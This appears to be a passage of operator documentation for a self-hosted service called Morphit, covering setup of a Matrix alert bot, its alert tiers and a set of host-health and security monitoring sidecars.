The matrix-bot is installed by default but stays cleanly inert until you give it an alert username, so there is nothing to run (or watch) on an instance that doesn't use Matrix. Manage it with one command instead of a raw systemctl:

morphit-ops matrix set @you:matrix.org — writes the alert MXID to /etc/morphit/matrix-bot.env and enables + (re)starts the bot. The MXID must be a personal @user:server — a #room:server alias is rejected outright (routing private alerts to a public room would leak security telemetry). Comma-separated multiple recipients are allowed (vacation coverage). The bot also needs MORPHIT_MATRIX_BOT_ACCESS_TOKEN in that file; if it's missing, the username is saved but the bot stays stopped with a hint, rather than starting and crash-looping on the missing token.
morphit-ops matrix clear — empties the MXID and stops + disables the bot.
morphit-ops matrix test — asks the running bot to DM you a clearly labelled one-off test alert, so you can confirm delivery actually works in a single command (no journal/classifier dance). It refuses with an actionable hint if no username/token is set or the bot isn't running, and it triggers the bot's OWN client over loopback rather than opening a second Matrix client — the test DM is a real encrypted alert, identical to a genuine one. See "Verifying end-to-end delivery" below.
morphit-ops matrix (or the menu → Check & operate → Matrix alerts) — shows the username, readiness, and service state, and offers to start/stop the bot if it's out of sync.

morphit-ops upgrade re-checks the alert username on every upgrade and brings the service into line automatically (enable + restart when set, disable + stop when cleared) — so a node that gained or lost its Matrix username between upgrades lands in the right state with no manual step. The single source of truth is /etc/morphit/matrix-bot.env: the bot reads its config there via the systemd EnvironmentFile= and does NOT read morphit.config.env. (Fresh Ansible nodes get the service user, state dir, unit, and env file laid down by the matrix_bot role; the manual install steps below do the same by hand.)

What it does:

The bot tails journalctl -u morphit-indexer -u morphit-relay -o json --follow, parses each line, classifies the alert into one of three tiers (CRITICAL, WARN, INFO), and DMs the operator's MXID over end-to-end-encrypted private Matrix chat. Three tiers, deliberately tuned to prevent alert fatigue without losing urgency:

CRITICAL — delivered immediately, NO rate limit, NO aggregation. Tamper-detection events (bundle hash mismatch, pubkey mismatch), kill-switch fired, sustained RPC failure (the alerting itself is blind), daily signup ceiling hit (active attack signal), INVALID_FEE_METHOD attempts (a Memory #23 USDT- as-listing-fee try), backup failures, AIDE integrity violations, operator account drained to 0 BLURT (relay halted).
WARN — rate-limited to one per category per hour, DM'd individually. Low-balance crossings (above zero), witness fee changes, stale BLURT/USD price feed, single-IP signup spikes below the daily ceiling, federation peer down >24h, sequential- signup pattern detected.
INFO — aggregated into a single daily digest sent at 09:00 UTC. Skipped entirely on quiet days. RECOVERED events, normal backup successes, federation discovery summaries.

Two distinct Matrix addresses kept separate by design:

MORPHIT_MATRIX_BOT_ALERT_MXID — PRIVATE MXID for alert DMs (@user:server). Bot-only; never exposed via /v1/instance or any other public API. Comma-separate multiple MXIDs for vacation coverage — the bot DMs each recipient on every alert.
MORPHIT_INDEXER_OPERATOR_MATRIX_ROOM — PUBLIC room alias for user→operator contact (#room:server). Exposed via /v1/instance.operator_matrix_room; rendered on /support, /about-this-instance, and the site footer as a matrix.to link.

These NEVER cross-pollinate. A security alert routed to a public room would be a privacy violation; an operator MXID exposed via public API would leak the operator's private Matrix identity to every API consumer. The codebase enforces this at multiple layers: branded TypeScript types (MatrixMxid vs MatrixRoomAlias) make compile-time confusion impossible without an explicit cast; the bot's config refuses to start if MORPHIT_MATRIX_BOT_ALERT_MXID carries a #-prefixed value; the indexer's config refuses to start if MORPHIT_INDEXER_OPERATOR_MATRIX_ROOM carries an @-prefixed value; and adversarial smoke tests (apps/matrix-bot/scripts/ surface-invariant-smoke.ts) independently verify every boundary on every CI run.

Setup:

# 1. Create a dedicated Matrix account for the bot (NOT your
#    personal account — the bot stores a long-lived access token).
#    Most Matrix clients support "Settings → Help & About →
#    Access Token" or equivalent.

# 2. Create the system user.
sudo useradd --system --no-create-home --shell /usr/sbin/nologin \
             --groups systemd-journal morphit-matrix-bot
sudo mkdir -p /var/lib/morphit-matrix-bot
sudo chown morphit-matrix-bot:morphit-matrix-bot \
           /var/lib/morphit-matrix-bot
sudo chmod 0750 /var/lib/morphit-matrix-bot

# 3. Write /etc/morphit/matrix-bot.env (0600, root:morphit-matrix-bot):
sudo install -m 0640 -o root -g morphit-matrix-bot /dev/stdin \
     /etc/morphit/matrix-bot.env <<'ENV'
MORPHIT_MATRIX_BOT_HOMESERVER=https://matrix.org
MORPHIT_MATRIX_BOT_ACCESS_TOKEN=<bot-account-access-token>
# Leave MORPHIT_MATRIX_BOT_ALERT_MXID empty here — set it in step 6 with
# `morphit-ops matrix set`, which writes it AND enables + starts the bot.
MORPHIT_MATRIX_BOT_ALERT_MXID=
# Optional:
# MORPHIT_MATRIX_BOT_JOURNALCTL_UNITS=morphit-indexer.service,morphit-relay.service
# MORPHIT_MATRIX_BOT_DIGEST_SEND_TIME_UTC=09:00
# MORPHIT_MATRIX_BOT_DRY_RUN=false
ENV

# 4. Install matrix-bot dependencies (native build for better-sqlite3).
#
# matrix-bot depends on better-sqlite3 (state persistence) and
# matrix-bot-sdk (Matrix client).  better-sqlite3 compiles native
# bindings against node headers downloaded from nodejs.org during
# `npm install` — your deploy box needs:
#
#   - build-essential or equivalent (gcc, make, python3)
#   - outbound HTTPS to nodejs.org for the node headers
#
# Both are present on a default Ubuntu/Debian VPS once you've run
# `sudo apt install -y build-essential python3` (from §1 of
# RUN-A-MORPHIT-NODE.md).  If you've sealed outbound HTTPS to a
# strict allowlist (BunkerWeb path or similar), add nodejs.org
# to the allowlist for the duration of `npm install`.
cd /opt/morphit
sudo -u morphit npm ci --workspaces --include-workspace-root \
                       --omit=optional --no-audit --no-fund
# Verify:
test -d /opt/morphit/node_modules/better-sqlite3/build \
    || (echo "better-sqlite3 native build did not produce build/ — see logs"; exit 1)

# 5. Install the systemd unit (do NOT `enable --now` it by hand — step 6
#    does that as part of setting your alert username, so the service
#    state always tracks whether a username is configured).
sudo cp /opt/morphit/ops/systemd/morphit-matrix-bot.service \
        /etc/systemd/system/
sudo systemctl daemon-reload

# 6. Set your alert username — writes MORPHIT_MATRIX_BOT_ALERT_MXID into
#    the env file AND enables + starts the bot.  Personal @user:server
#    MXID only (a #room alias is refused — it would leak private alerts).
morphit-ops matrix set @you:matrix.org
#    Later:  morphit-ops matrix clear   empties it + stops/disables the bot
#            morphit-ops matrix         shows username, readiness, state

# 7. Verify.
sudo systemctl status morphit-matrix-bot
sudo journalctl -u morphit-matrix-bot --since '5 minutes ago'
# Expect: "morphit-matrix-bot starting." in the logs (recipients=N).

Vacation coverage: put a comma-separated list of MXIDs in MORPHIT_MATRIX_BOT_ALERT_MXID. The bot DMs every recipient on every alert. Your backup operator gets the same CRITICALs you do without any extra plumbing.

Testing the wiring: set MORPHIT_MATRIX_BOT_DRY_RUN=true, restart the unit, and the bot logs what it WOULD have sent without actually posting to Matrix. Useful for verifying the classifier sees your indexer/relay log lines correctly before going live.

Verifying end-to-end delivery (one-time check). The quickest check is morphit-ops matrix test — it asks the running bot to DM you a clearly labelled test alert through its real client (token + DM creation + delivery) and prints exactly what happened, so most operators need nothing more. The manual runbook below additionally exercises the journal → classifier half of the path — worth doing if you've customized the watch-list or suspect a _SYSTEMD_UNIT tagging problem. DRY_RUN above proves the classifier sees lines; both of the checks here prove a real DM actually reaches you. The bot only acts on journal entries carrying _SYSTEMD_UNIT=<watched-unit>, and emit() (ops/scripts/lib/emit.sh) guarantees that by writing through each sidecar service's own StandardOutput=journal stream — so this test fires a throwaway service that emits one CRITICAL through that exact path:

# a) Temporarily have the bot ALSO watch a throwaway unit, then restart.
#    (MORPHIT_MATRIX_BOT_JOURNALCTL_UNITS *replaces* the default list, so
#    list the defaults you rely on plus morphit-alerttest.service.)
sudo sed -i '/^MORPHIT_MATRIX_BOT_JOURNALCTL_UNITS=/d' /etc/morphit/matrix-bot.env
echo 'MORPHIT_MATRIX_BOT_JOURNALCTL_UNITS=morphit-indexer.service,morphit-relay.service,morphit-host-monitor.service,morphit-smartctl-monitor.service,morphit-fail2ban-monitor.service,morphit-mdadm-monitor.service,morphit-dmesg-monitor.service,morphit-trivy-monitor.service,morphit-postfix-monitor.service,morphit-certbot-monitor.service,morphit-apt-monitor.service,morphit-compose-monitor.service,morphit-systemd-monitor.service,morphit-journald-monitor.service,morphit-alerttest.service' | sudo tee -a /etc/morphit/matrix-bot.env >/dev/null
sudo systemctl restart morphit-matrix-bot

# b) A throwaway emit script + oneshot service (a script file avoids unit-file
#    quoting pitfalls and exercises the real emit.sh path):
sudo tee /usr/local/bin/morphit-alerttest.sh >/dev/null <<'SCRIPT'
#!/bin/bash
. /opt/morphit/ops/scripts/lib/emit.sh
export MORPHIT_EMIT_MODULE=tamper MORPHIT_EMIT_TAG=morphit-alerttest
emit info bundle_hash_mismatch '{"note":"delivery test"}'
SCRIPT
sudo chmod +x /usr/local/bin/morphit-alerttest.sh
sudo tee /etc/systemd/system/morphit-alerttest.service >/dev/null <<'UNIT'
[Unit]
Description=Morphit matrix-bot delivery test
[Service]
Type=oneshot
ExecStart=/usr/local/bin/morphit-alerttest.sh
UNIT
sudo systemctl daemon-reload
sudo systemctl start morphit-alerttest.service
# -> a CRITICAL DM should arrive within seconds.  The FIRST message from the
#    bot account lands as a message request / invite — accept it in your client.

# c) Tear down the test (remove the unit + script + the temporary watch line):
sudo rm -f /etc/systemd/system/morphit-alerttest.service /usr/local/bin/morphit-alerttest.sh
sudo sed -i '/^MORPHIT_MATRIX_BOT_JOURNALCTL_UNITS=.*morphit-alerttest/d' /etc/morphit/matrix-bot.env
sudo systemctl daemon-reload
sudo systemctl restart morphit-matrix-bot

If no DM arrives, check journalctl -u morphit-matrix-bot for a failed to deliver line (a Matrix/token error, shown verbatim); a silent bot log plus a delivered DM is the success case (the bot only logs delivery failures). Tip: morphit-ops matrix test (above) is the one-command version of the Matrix-delivery half of this check — it triggers the bot's own client over its loopback healthcheck endpoint, so the DM it sends is identical to a real alert.

Why stdout, not systemd-cat: emit() writes to the service's own journal stream rather than piping to systemd-cat, because on some systemd/journald builds systemd-cat's entries arrive with no _SYSTEMD_UNIT (the stream is opened by a short-lived helper process whose cgroup journald can't resolve) — which would make the bot's -u filter silently skip every shell-sidecar alert. Routing through the service stream guarantees the unit tag. (emit() still falls back to systemd-cat when run outside a journal-connected service.)

For operators who prefer email/Discord/PagerDuty instead: the generic Option 1 advice above still applies. matrix-bot is the canonical sidecar but not the only one supported.

matrix-bot — known dependency vulnerabilities (cp138 audit)

npm audit reports 2 critical and several moderate CVEs that all trace through matrix-bot-sdk@0.7.1's dependency on the deprecated request@2.88.2 package and its transitives (form-data@2.3.3, qs, tough-cookie, uuid). Upgrading the SDK to its current latest 0.8.0 does NOT fix this — 0.8.0 still depends on the same request@^2.88.2.

Practical exposure on a Morphit instance is near-zero because:

matrix-bot is opt-in — the systemd unit only does work if MORPHIT_MATRIX_BOT_ALERT_MXID is set. Operators who don't enable Matrix alerts never load the SDK into a running process. If you're picking email or another channel for alerts, this section doesn't apply to you.
matrix-bot's network direction is outbound only. It POSTs to a homeserver URL that the operator configured via env var (MORPHIT_MATRIX_BOT_HOMESERVER). It does NOT accept inbound user URLs to fetch. The request-package SSRF CVE requires user-controlled URLs; matrix-bot doesn't provide any.
The form-data unsafe-random-boundary CVE requires an attacker-controlled multipart upload. matrix-bot doesn't accept multipart uploads; it only emits JSON to the homeserver.
The qs DoS and tough-cookie prototype-pollution CVEs require user-supplied query strings / cookies. matrix-bot doesn't parse any.

What this means for operators:

If you don't enable matrix-bot, you can ignore these CVEs.
If you DO enable matrix-bot, the practical risk is minimal so long as you keep MORPHIT_MATRIX_BOT_HOMESERVER pointed at a homeserver you trust (which is the design intent: it's your Matrix homeserver, not a user's).
An automated CVE scanner WILL flag your install. This is expected; the scanner is right about the CVE numbers but doesn't model matrix-bot's input surface.

Tracked for post-launch: cp138-R-2 in docs/REVISIT-LIST.md. Two real fix options under evaluation: swap to matrix-js-sdk (official Matrix SDK with a larger surface but maintained deps), or add npm overrides to force-resolve transitives (needs testing matrix-bot's actual API surface still works with overridden versions). Neither is a pre-launch blocker.

Host-resource monitoring sidecar — disk / memory / swap / CPU

The matrix-bot tails morphit-indexer + morphit-relay journals by default, which surfaces application-level events. Host-level resource exhaustion (disk full, memory critical, swap thrashing, CPU saturated) is monitored by a separate bash-script sidecar shipped at ops/scripts/morphit-host-monitor.sh with an accompanying systemd timer at ops/systemd/morphit-host-monitor.timer.

The sidecar:

Runs every 5 minutes (configurable via the .timer file).
Reads /proc/meminfo, df -P, /proc/loadavg, /proc/vmstat.
Compares against configurable thresholds (env-tunable).
Emits structured JSON to journalctl via systemd-cat -t morphit-host-monitor.
The bot picks these up automatically because morphit-host-monitor.service is in the default MORPHIT_MATRIX_BOT_JOURNALCTL_UNITS list.

Three tiers per resource:

Resource	INFO threshold	WARN threshold	CRITICAL threshold
Disk usage	>70%	>85%	>95%
Memory usage	>70%	>85%	>95%
Swap usage	>25%	>50%	>75%
Swap thrashing (pages/sec)	—	>100	>1000
CPU saturation (load/cores)	>1.5x	>3x	>5x

All thresholds are env-tunable. The defaults are reasonable for a 1-4 vCPU / 2-8 GB RAM VPS — operators on heavier hardware may relax them; operators on tighter hardware may tighten them.

Setup:

# 1. Create the system user.
sudo useradd --system --no-create-home --shell /usr/sbin/nologin \
             morphit-host-monitor
sudo mkdir -p /var/lib/morphit-host-monitor
sudo chown morphit-host-monitor:morphit-host-monitor \
           /var/lib/morphit-host-monitor
sudo chmod 0750 /var/lib/morphit-host-monitor

# 2. (Optional) Write /etc/morphit/host-monitor.env with operator-
#    tuned thresholds.  See ops/scripts/morphit-host-monitor.sh
#    for the full list.  Skip if the defaults are fine.

# 3. Install + enable the timer.
sudo cp /opt/morphit/ops/systemd/morphit-host-monitor.service \
        /etc/systemd/system/
sudo cp /opt/morphit/ops/systemd/morphit-host-monitor.timer \
        /etc/systemd/system/
sudo systemctl daemon-reload
sudo systemctl enable --now morphit-host-monitor.timer

# 4. Verify (the timer fires once 30s after boot, then every 5m).
sudo systemctl list-timers morphit-host-monitor.timer
sudo journalctl -u morphit-host-monitor --since '10 minutes ago'
# Expect: structured JSON lines on stdout when any threshold is
# breached.  No output means everything is within INFO thresholds.

Configurable env vars (with defaults):

# /etc/morphit/host-monitor.env
MORPHIT_HOST_DISK_CRITICAL=95
MORPHIT_HOST_DISK_WARN=85
MORPHIT_HOST_DISK_INFO=70
MORPHIT_HOST_DISK_PATHS=/          # space-separated; add /var if separate

MORPHIT_HOST_MEM_CRITICAL=95
MORPHIT_HOST_MEM_WARN=85
MORPHIT_HOST_MEM_INFO=70

MORPHIT_HOST_SWAP_CRITICAL=75
MORPHIT_HOST_SWAP_WARN=50
MORPHIT_HOST_SWAP_INFO=25

MORPHIT_HOST_SWAP_THRASH_CRITICAL=1000   # pages/sec
MORPHIT_HOST_SWAP_THRASH_WARN=100

MORPHIT_HOST_CPU_CRITICAL=5.0      # loadavg / cores ratio
MORPHIT_HOST_CPU_WARN=3.0
MORPHIT_HOST_CPU_INFO=1.5

# All-mount sweep (cp15, skip-list extended cp22) — extends the
# operator-configured MORPHIT_HOST_DISK_PATHS check with a sweep
# of every writable mount that isn't a pseudo-filesystem.
# Catches Docker volumes, encrypted overlay mounts, runaway
# tmpfs.  Set to 0 to disable; uses the same DISK_* thresholds.
# Pseudo-fs are always skipped (proc, sysfs, cgroup, devtmpfs,
# squashfs; Docker storage drivers overlay/overlay2/aufs and
# their rootless fuse.fuse-overlayfs analog; NFS server-side
# pseudo-FS rpc_pipefs and nfsd; and network mounts
# fuse.rclone/fuse.s3fs/fuse.sshfs whose `df` percentages are
# meaningless and can stall the sweep).
MORPHIT_HOST_SCAN_MOUNTS=1

In addition to the operator-configured paths in MORPHIT_HOST_DISK_PATHS, the all-mount sweep emits three additional event types: mount_critical / mount_warn / mount_info (with the same threshold tiering as disk_*). Payload includes path, fstype, percent, and threshold. This catches the filling-bind-mount and runaway-tmpfs cases the canonical DISK_PATHS doesn't cover.

Opt-in default, same as matrix-bot. If you don't enable the timer, the sidecar doesn't run and no host-resource alerts fire. Operators not using Matrix at all skip both the bot and the sidecar.

Adding more host-watch targets later: the bot is open to any unit name listed in MORPHIT_MATRIX_BOT_JOURNALCTL_UNITS. If you write your own monitor (e.g. a Nagios plugin wrapper) that emits the same {ts, level, module, event, context} JSON shape via systemd-cat -t <your-name>, the bot will tier-route it through the classifier. Unknown (module, event) pairs default to INFO (digest); add an explicit matcher in apps/matrix-bot/src/classifier.ts if you want CRITICAL or WARN routing for a specific event.

Extended monitoring sidecars — smartctl, fail2ban, mdadm

Three additional sidecars use the same emit-via-systemd-cat pattern as the host-resource monitor. Each is opt-in (operator must enable the timer) and is included in the bot's default MORPHIT_MATRIX_BOT_JOURNALCTL_UNITS so alerts route automatically once the timer is enabled.

Disk SMART health — `morphit-smartctl-monitor`

Polls smartctl -H -A -l selftest on every detected non-loop block device every 6 hours. Emits structured JSON via systemd-cat -t morphit-smartctl-monitor.

Events emitted:

Event	Tier	Trigger
`smart_failed`	CRITICAL	SMART overall-health self-assessment FAILED
`self_test_failed`	CRITICAL	Most recent self-test reports failure
`temperature_critical`	CRITICAL	Disk ≥ 60°C (env: `MORPHIT_SMART_TEMP_CRITICAL`)
`temperature_warn`	WARN	Disk ≥ 50°C (env: `MORPHIT_SMART_TEMP_WARN`)
`reallocated_sectors`	WARN	`Reallocated_Sector_Ct > 0`
`pending_sectors`	WARN	`Current_Pending_Sector > 0`
`temperature_sustained_high`	WARN	SCT thermal log: lifetime max temp ≥ `TEMP_WARN + 5°C` (drive hit WARN+ at least once even if cool right now)
`temperature_overlimit_count`	WARN	SCT thermal log: drive firmware's over-temperature counter is non-zero
`smartctl_unavailable`	INFO	smartmontools not installed

The SCT thermal-log events (temperature_sustained_high and temperature_overlimit_count) come from smartctl -l scttempsts, which the drive itself maintains. They surface trends the instantaneous temperature check can't see: a drive that briefly spiked above threshold between samples, and a drive whose own firmware has flagged sustained thermal stress. Drives that don't support SCT thermal logging are silently skipped (no event emitted).

Setup:

# 1. Install smartmontools.
sudo apt install -y smartmontools

# 2. (Optional) Operator-tuned thresholds.
sudo install -m 0644 -o root -g root /dev/stdin \
     /etc/morphit/smartctl-monitor.env <<'ENV'
MORPHIT_SMART_TEMP_CRITICAL=55   # tighter for hot data centres
MORPHIT_SMART_TEMP_WARN=45
ENV

# 3. Install + enable.
sudo cp /opt/morphit/ops/systemd/morphit-smartctl-monitor.service \
        /opt/morphit/ops/systemd/morphit-smartctl-monitor.timer \
        /etc/systemd/system/
sudo systemctl daemon-reload
sudo systemctl enable --now morphit-smartctl-monitor.timer

Caveats: SMART monitoring is most useful on bare-metal hosts. On most VPS providers the disks are virtualized and smartctl reports either nothing or the host's own disks, so the alerts may be uninformative. Useful for self-hosted dedicated hardware.

fail2ban observability — `morphit-fail2ban-monitor`

Polls fail2ban-client status every 5 minutes. Alerts on daemon-down (meaning brute-force is NOT being blocked) and ban-count spikes (meaning attack in progress). Delta-tracks total bans across runs for ban-rate detection.

Events emitted:

Event	Tier	Trigger
`daemon_unreachable`	CRITICAL	fail2ban-client cannot reach the daemon
`jail_critical_ban_count`	CRITICAL	currently-banned ≥ `MORPHIT_FAIL2BAN_BAN_CRITICAL` (50)
`jail_high_ban_count`	WARN	currently-banned ≥ `MORPHIT_FAIL2BAN_BAN_WARN` (15)
`jail_ban_rate_warn`	WARN	bans/hour rate ≥ 100 (delta-tracked)
`fail2ban_unavailable`	INFO	fail2ban-client not in PATH

Per-jail overrides via env vars MORPHIT_FAIL2BAN_<UPPERCASE-JAIL>_CRITICAL and _WARN — e.g. a busy SSH jail might want MORPHIT_FAIL2BAN_SSHD_CRITICAL=100 while a quiet postfix jail uses the default 50.

Setup:

# 1. fail2ban itself must already be running (§34 covers install).

# 2. (Optional) operator-tuned thresholds.
sudo install -m 0644 -o root -g root /dev/stdin \
     /etc/morphit/fail2ban-monitor.env <<'ENV'
MORPHIT_FAIL2BAN_BAN_CRITICAL=50
MORPHIT_FAIL2BAN_BAN_WARN=15
MORPHIT_FAIL2BAN_SSHD_CRITICAL=100   # SSH jail is allowed to be loud
ENV

# 3. State dir for ban-rate delta tracking.
sudo mkdir -p /var/lib/morphit-fail2ban-monitor
sudo chmod 0750 /var/lib/morphit-fail2ban-monitor

# 4. Install + enable.
sudo cp /opt/morphit/ops/systemd/morphit-fail2ban-monitor.service \
        /opt/morphit/ops/systemd/morphit-fail2ban-monitor.timer \
        /etc/systemd/system/
sudo systemctl daemon-reload
sudo systemctl enable --now morphit-fail2ban-monitor.timer

Linux software RAID — `morphit-mdadm-monitor`

Reads /proc/mdstat every 15 minutes. No package install needed — /proc/mdstat is in the kernel. Safe to enable defensively on any host: exits silently if no md arrays exist.

Events emitted:

Event	Tier	Trigger
`array_failed`	CRITICAL	Array no longer functional (all devices gone)
`array_degraded`	CRITICAL	One or more devices failed/missing
`array_resyncing`	INFO	Array rebuilding (normal after disk replacement)

Setup:

sudo cp /opt/morphit/ops/systemd/morphit-mdadm-monitor.service \
        /opt/morphit/ops/systemd/morphit-mdadm-monitor.timer \
        /etc/systemd/system/
sudo systemctl daemon-reload
sudo systemctl enable --now morphit-mdadm-monitor.timer

No service user setup needed — the unit uses DynamicUser=true since /proc/mdstat is world-readable.

Kernel-log monitor — `morphit-dmesg-monitor`

Scans the kernel ring buffer (dmesg) every 5 minutes for events the host-resource sidecar can't see: the host-monitor sees memory pressure building; the dmesg-monitor sees the consequences when it broke.

State is cursor-based at /var/lib/morphit-dmesg-monitor/last-cursor so successive runs don't re-alert on old events.

Events emitted:

Event	Tier	Trigger
`oom_kill`	CRITICAL	Kernel killed a process to free memory
`kernel_oops`	CRITICAL	Kernel detected an internal error
`kernel_panic`	CRITICAL	Kernel panicked (host may be unstable)
`hardware_error`	CRITICAL	MCE / EDAC / ATA / I/O error
`segfault_in_morphit`	CRITICAL	A morphit-related process segfaulted
`segfault_other`	WARN	Some other process segfaulted
`fd_exhausted`	WARN	Fork failed (out of FDs/PIDs)
`dmesg_unreadable`	INFO	dmesg not readable (service must run as root)

Each alert includes the raw kernel-log line (first 200 chars) so you can pattern-match in journalctl for context.

Setup:

# 1. State dir.
sudo mkdir -p /var/lib/morphit-dmesg-monitor
sudo chmod 0750 /var/lib/morphit-dmesg-monitor

# 2. Install + enable.  (Service runs as root because
# kernel.dmesg_restrict=1 is the default since Debian 12.
# Hardening uses CapabilityBoundingSet=CAP_SYSLOG to confine it.)
sudo cp /opt/morphit/ops/systemd/morphit-dmesg-monitor.service \
        /opt/morphit/ops/systemd/morphit-dmesg-monitor.timer \
        /etc/systemd/system/
sudo systemctl daemon-reload
sudo systemctl enable --now morphit-dmesg-monitor.timer

Docker image CVE rescan — `morphit-trivy-monitor`

Daily scan of running Docker images (typically just BunkerWeb, when deployed) for CRITICAL + HIGH severity CVEs disclosed since deploy. Without this monitor, an operator wouldn't know they were running a vulnerable BunkerWeb until they happened to read a CVE advisory and remembered they had it deployed.

Events emitted:

Event	Tier	Trigger
`image_critical_vulns`	CRITICAL	Image has ≥ `MORPHIT_TRIVY_CRITICAL_THRESHOLD` (default 1) CRITICAL CVEs
`image_high_vulns`	WARN	Image has ≥ `MORPHIT_TRIVY_HIGH_THRESHOLD` (default 5) HIGH CVEs
`image_scan_failed`	WARN	trivy returned no output for an image
`image_scan_clean`	INFO	No actionable findings (daily digest)
`trivy_unavailable`	INFO	trivy not installed

Setup:

# 1. Install trivy from the Aqua Security apt repo.
sudo install -d -m 0755 /etc/apt/keyrings
wget -qO - https://aquasecurity.github.io/trivy-repo/deb/public.key \
   | sudo tee /etc/apt/keyrings/trivy.asc > /dev/null
echo "deb [signed-by=/etc/apt/keyrings/trivy.asc] \
https://aquasecurity.github.io/trivy-repo/deb $(lsb_release -cs) main" \
  | sudo tee /etc/apt/sources.list.d/trivy.list > /dev/null
sudo apt update && sudo apt install -y trivy jq

# 2. (Optional) operator-tuned thresholds.
sudo install -m 0644 -o root -g root /dev/stdin \
     /etc/morphit/trivy-monitor.env <<'ENV'
MORPHIT_TRIVY_CRITICAL_THRESHOLD=1
MORPHIT_TRIVY_HIGH_THRESHOLD=5
ENV

# 3. Install + enable.
sudo cp /opt/morphit/ops/systemd/morphit-trivy-monitor.service \
        /opt/morphit/ops/systemd/morphit-trivy-monitor.timer \
        /etc/systemd/system/
sudo systemctl daemon-reload
sudo systemctl enable --now morphit-trivy-monitor.timer

Outbound network requirements: trivy needs to pull its CVE DB from ghcr.io (with mirror.gcr.io as fallback). Add both to your outbound firewall allowlist if you have one.

Note: most CVEs in base images are not exploitable in the way you're using the container. When trivy alerts on a CVE that doesn't apply to your setup, add it to /etc/morphit/.trivyignore to silence future alerts for that CVE ID specifically.

Postfix queue monitor — `morphit-postfix-monitor`

Watches the postfix mail queue depth + oldest-message age every 15 minutes. Solves a critical observability gap: if email alerting silently fails (smarthost credentials rotated, TLS bumped, network down), emails pile up in the postfix queue and the operator hears nothing. This sidecar makes "alerts aren't arriving" itself become an alert.

Useful only if you use postfix as your alerting smarthost (per the §37.14 alerting role). Skip if you use a different alerting mechanism.

Events emitted:

Event	Tier	Trigger
`queue_critical`	CRITICAL	Queue depth ≥ 100 OR oldest message > 120 min
`queue_warn`	WARN	Queue depth ≥ 25 OR oldest message > 30 min
`queue_clean`	INFO	Queue empty or below thresholds
`postfix_unavailable`	INFO	postqueue not in PATH

All thresholds env-tunable in /etc/morphit/postfix-monitor.env.

Setup:

# Postfix itself must be installed already (per §37.14).
# Verify with:
which postqueue || sudo apt install -y postfix

# Install + enable the monitor.
sudo cp /opt/morphit/ops/systemd/morphit-postfix-monitor.service \
        /opt/morphit/ops/systemd/morphit-postfix-monitor.timer \
        /etc/systemd/system/
sudo systemctl daemon-reload
sudo systemctl enable --now morphit-postfix-monitor.timer

TLS cert expiry + renewal-stall detector — `morphit-certbot-monitor`

Daily check of TLS cert expiry combined with a renewal-stall detector that catches the killer pattern: cert is about to expire AND certbot has not had a successful renewal in N days. A cert renewing fine 6 months ago can silently start failing for weeks before it actually expires; this sidecar finds that gap.

Events emitted:

Event	Tier	Trigger
`cert_expiry_critical`	CRITICAL	Cert expires in ≤ 7 days
`cert_expiry_warn`	WARN	Cert expires in ≤ 30 days
`renewal_stalled`	CRITICAL	Cert expiring AND last successful renewal > 14 days ago
`certbot_unavailable`	INFO	openssl or `/etc/letsencrypt/live/` missing

All thresholds env-tunable. Reads /var/log/letsencrypt/letsencrypt.log for the "Renewal was successful" line timestamps; falls back gracefully if the log is rotated or unreadable.

Setup:

# certbot itself must be installed (per §35 TLS role).
# Verify with:
test -d /etc/letsencrypt/live || echo "certbot not configured yet"

# (Optional) operator-tuned thresholds.
sudo install -m 0644 -o root -g root /dev/stdin \
     /etc/morphit/certbot-monitor.env <<'ENV'
MORPHIT_CERTBOT_EXPIRY_CRITICAL_DAYS=7
MORPHIT_CERTBOT_EXPIRY_WARN_DAYS=30
MORPHIT_CERTBOT_RENEWAL_STALL_DAYS=14
ENV

# Install + enable.
sudo cp /opt/morphit/ops/systemd/morphit-certbot-monitor.service \
        /opt/morphit/ops/systemd/morphit-certbot-monitor.timer \
        /etc/systemd/system/
sudo systemctl daemon-reload
sudo systemctl enable --now morphit-certbot-monitor.timer

Pending security updates monitor — `morphit-apt-monitor`

Daily count of pending security updates. Surfaces the same information the motd shows but operators stop reading after the first month — this routes them through the same alert channel as everything else. Debian/Ubuntu only.

Events emitted:

Event	Tier	Trigger
`security_updates_critical`	CRITICAL	Security updates pending ≥ 10
`security_updates_warn`	WARN	Security updates pending ≥ 1
`updates_pending_info`	INFO	Non-security updates only (daily digest)
`apt_unavailable`	INFO	apt not in PATH

Setup:

# (Optional) operator-tuned thresholds.
sudo install -m 0644 -o root -g root /dev/stdin \
     /etc/morphit/apt-monitor.env <<'ENV'
MORPHIT_APT_SECURITY_CRITICAL=10
MORPHIT_APT_SECURITY_WARN=1
ENV

# Install + enable.
sudo cp /opt/morphit/ops/systemd/morphit-apt-monitor.service \
        /opt/morphit/ops/systemd/morphit-apt-monitor.timer \
        /etc/systemd/system/
sudo systemctl daemon-reload
sudo systemctl enable --now morphit-apt-monitor.timer

Note: the sidecar runs apt-get update itself before counting, so it always reports against fresh package lists. Outbound network requirements: same as your apt install (e.g. archive.ubuntu.com).

Docker Compose service health monitor — `morphit-compose-monitor`

Watches Docker Compose service health-check status + restart counts every 5 minutes. Catches three patterns: services reporting health: unhealthy (canonical compose signal), services in state exited when they should be running, and services in restart loops (high RestartCount over short time).

Most useful with the BunkerWeb deploy path (§32). Useless on bare-metal-only — the sidecar exits cleanly with an INFO event in that case.

Events emitted:

Event	Tier	Trigger
`service_unhealthy`	CRITICAL	docker compose ps reports `Health: unhealthy`
`service_exited`	CRITICAL	Service stopped unexpectedly
`service_restart_loop`	WARN	RestartCount ≥ 5 (env-tunable)
`docker_unavailable`	INFO	Docker / Compose v2 plugin missing

Setup:

# (Optional) operator-tuned threshold + project list.
sudo install -m 0644 -o root -g root /dev/stdin \
     /etc/morphit/compose-monitor.env <<'ENV'
MORPHIT_COMPOSE_RESTART_THRESHOLD=5
MORPHIT_COMPOSE_PROJECTS=/opt/morphit/ops/bunkerweb
ENV

# Install + enable.
sudo cp /opt/morphit/ops/systemd/morphit-compose-monitor.service \
        /opt/morphit/ops/systemd/morphit-compose-monitor.timer \
        /etc/systemd/system/
sudo systemctl daemon-reload
sudo systemctl enable --now morphit-compose-monitor.timer

For multiple compose stacks: MORPHIT_COMPOSE_PROJECTS= accepts a space-separated list of project directories.

systemd unit-health monitor — `morphit-systemd-monitor`

Watches morphit-* units (plus any in MORPHIT_SYSTEMD_WATCH) for failed state and high restart counts. This closes a gap journalctl-based alerting can't cover: a unit that fails to even start emits no journal output for the bot to route, so a failed-start would be silently invisible without this sidecar.

Events emitted:

Event	Tier	Trigger
`unit_failed`	CRITICAL	`systemctl is-failed` returns true for a watched unit
